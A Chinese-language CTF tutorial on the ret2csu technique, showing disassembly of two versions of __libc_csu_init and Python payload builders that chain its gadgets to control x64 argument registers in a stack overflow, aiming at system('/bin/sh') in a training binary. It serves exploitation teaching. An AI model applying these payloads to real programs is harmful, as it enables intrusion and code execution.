Ret2CSU
在64位程序中,当函数参数少于7个时, 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9,在大多时候下,当参数过多的时候,我们很难找到部署寄存器值的 gadget,此时可以利用 x64 下的 __libc_csu_init 中的 gadgets
这个函数是用来对 libc 进行初始化操作的,而一般的程序都会调用 libc 函数,所以这个函数一定会存在
对于该函数存在有两个版本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| # Version 1 .text:00000000004005A0 __libc_csu_init proc near ; DATA XREF: _start+16↑o .text:00000000004005A0 .text:00000000004005A0 var_30 = qword ptr -30h .text:00000000004005A0 var_28 = qword ptr -28h .text:00000000004005A0 var_20 = qword ptr -20h .text:00000000004005A0 var_18 = qword ptr -18h .text:00000000004005A0 var_10 = qword ptr -10h .text:00000000004005A0 var_8 = qword ptr -8 .text:00000000004005A0 .text:00000000004005A0 ; __unwind { .text:00000000004005A0 mov [rsp+var_28], rbp .text:00000000004005A5 mov [rsp+var_20], r12 .text:00000000004005AA lea rbp, cs:600E24h .text:00000000004005B1 lea r12, cs:600E24h .text:00000000004005B8 mov [rsp+var_18], r13 .text:00000000004005BD mov [rsp+var_10], r14 .text:00000000004005C2 mov [rsp+var_8], r15 .text:00000000004005C7 mov [rsp+var_30], rbx .text:00000000004005CC sub rsp, 38h .text:00000000004005D0 sub rbp, r12 .text:00000000004005D3 mov r13d, edi .text:00000000004005D6 mov r14, rsi .text:00000000004005D9 sar rbp, 3 .text:00000000004005DD mov r15, rdx .text:00000000004005E0 call _init_proc .text:00000000004005E5 test rbp, rbp .text:00000000004005E8 jz short loc_400606 .text:00000000004005EA xor ebx, ebx .text:00000000004005EC nop dword ptr [rax+00h] .text:00000000004005F0 .text:00000000004005F0 loc_4005F0: ; CODE XREF: __libc_csu_init+64↓j .text:00000000004005F0 mov rdx, r15 .text:00000000004005F3 mov rsi, r14 .text:00000000004005F6 mov edi, r13d .text:00000000004005F9 call qword ptr [r12+rbx*8] .text:00000000004005FD add rbx, 1 .text:0000000000400601 cmp rbx, rbp .text:0000000000400604 jnz short loc_4005F0 .text:0000000000400606 .text:0000000000400606 loc_400606: ; CODE XREF: __libc_csu_init+48↑j .text:0000000000400606 mov rbx, [rsp+38h+var_30] .text:000000000040060B mov rbp, [rsp+38h+var_28] .text:0000000000400610 mov r12, [rsp+38h+var_20] .text:0000000000400615 mov r13, [rsp+38h+var_18] .text:000000000040061A mov r14, [rsp+38h+var_10] .text:000000000040061F mov r15, [rsp+38h+var_8] .text:0000000000400624 add rsp, 38h .text:0000000000400628 retn .text:0000000000400628 ; } // starts at 4005A0 .text:0000000000400628 __libc_csu_init endp
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| # Version 2 .text:0000000000401250 __libc_csu_init proc near ; DATA XREF: _start+1A↑o .text:0000000000401250 ; __unwind { .text:0000000000401250 endbr64 .text:0000000000401254 push r15 .text:0000000000401256 lea r15, __frame_dummy_init_array_entry .text:000000000040125D push r14 .text:000000000040125F mov r14, rdx .text:0000000000401262 push r13 .text:0000000000401264 mov r13, rsi .text:0000000000401267 push r12 .text:0000000000401269 mov r12d, edi .text:000000000040126C push rbp .text:000000000040126D lea rbp, __do_global_dtors_aux_fini_array_entry .text:0000000000401274 push rbx .text:0000000000401275 sub rbp, r15 .text:0000000000401278 sub rsp, 8 .text:000000000040127C call _init_proc .text:0000000000401281 sar rbp, 3 .text:0000000000401285 jz short loc_4012A6 .text:0000000000401287 xor ebx, ebx .text:0000000000401289 nop dword ptr [rax+00000000h] .text:0000000000401290 .text:0000000000401290 loc_401290: ; CODE XREF: __libc_csu_init+54↓j .text:0000000000401290 mov rdx, r14 .text:0000000000401293 mov rsi, r13 .text:0000000000401296 mov edi, r12d .text:0000000000401299 call ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8] .text:000000000040129D add rbx, 1 .text:00000000004012A1 cmp rbp, rbx .text:00000000004012A4 jnz short loc_401290 .text:00000000004012A6 .text:00000000004012A6 loc_4012A6: ; CODE XREF: __libc_csu_init+35↑j .text:00000000004012A6 add rsp, 8 .text:00000000004012AA pop rbx .text:00000000004012AB pop rbp .text:00000000004012AC pop r12 .text:00000000004012AE pop r13 .text:00000000004012B0 pop r14 .text:00000000004012B2 pop r15 .text:00000000004012B4 retn
|
后续的分析中以 Version 1 为例,题目来源:https://github.com/zhengmin1989/ROP_STEP_BY_STEP/blob/master/linux_x64/level5
大致可以看到的是通过栈来给对应的 rbx、rbp、r12、r13、r14、r15 进行赋值
1 2 3 4 5 6 7 8 9
| .text:0000000000400606 loc_400606: ; CODE XREF: __libc_csu_init+48↑j .text:0000000000400606 mov rbx, [rsp+38h+var_30] .text:000000000040060B mov rbp, [rsp+38h+var_28] .text:0000000000400610 mov r12, [rsp+38h+var_20] .text:0000000000400615 mov r13, [rsp+38h+var_18] .text:000000000040061A mov r14, [rsp+38h+var_10] .text:000000000040061F mov r15, [rsp+38h+var_8] .text:0000000000400624 add rsp, 38h .text:0000000000400628 retn
|
同时在 0x4005F0 可以看到通过 r15、r14、r13d 分别给 rdx、rsi、edi 进行赋值
1 2 3 4
| .text:00000000004005F0 loc_4005F0: ; CODE XREF: __libc_csu_init+64↓j .text:00000000004005F0 mov rdx, r15 .text:00000000004005F3 mov rsi, r14 .text:00000000004005F6 mov edi, r13d
|
相应的当我们溢出后将跳转地址设置为 0x400606 便可以控制rbx、rbp、r12、r13、r14、r15 的值,而对于 x64 下的调用约定,其函数传参所需要的为 rdi, rsi, rdx, rcx, r8, r9,那么控制 r15、r14、r13 的值我们可以控制 rdx、rsi、edi 从而控制函数的前三个参数值
在此题中我们需要完成 system('/bin/sh') 的利用,对此需要像 ret2libc 一样,先进行泄露一次对应的 libc 版本,之后将对应的 system、/bin/sh 偏移获取到后构建 Payload
大致流程如下图所示:

上述关键 padding 仅仅是在使用 mov 进行传递参数的时候需要使用 padding
对应的泄露Libc Payload 如下所示:
1 2 3 4 5 6 7 8 9 10 11 12
| gadget1_addr = 0x400606 gadget2_addr = 0x4005F0 def csu(rbx, rbp, r12, r13, r14, r15, ret_addr): payload = b'a' * 0x88 payload += p64(gadget1_addr) + p64(0) payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15) payload += p64(gadget2_addr) payload += b'b' * 0x38 payload += p64(ret_addr) s(payload) sleep(1)
|
相应的对于第二种版本来说对应的 Payload 为:
1 2 3 4 5 6 7 8 9 10 11 12
| gadget1_addr = xxx gadget2_addr = xxx def csu(rbx, rbp, r12, r13, r14, r15, ret_addr): payload = b'a' * 0x88 payload += p64(gadget1_addr) payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15) payload += p64(gadget2_addr) payload += b'b' * 0x38 payload += p64(ret_addr) s(payload) sleep(1)
|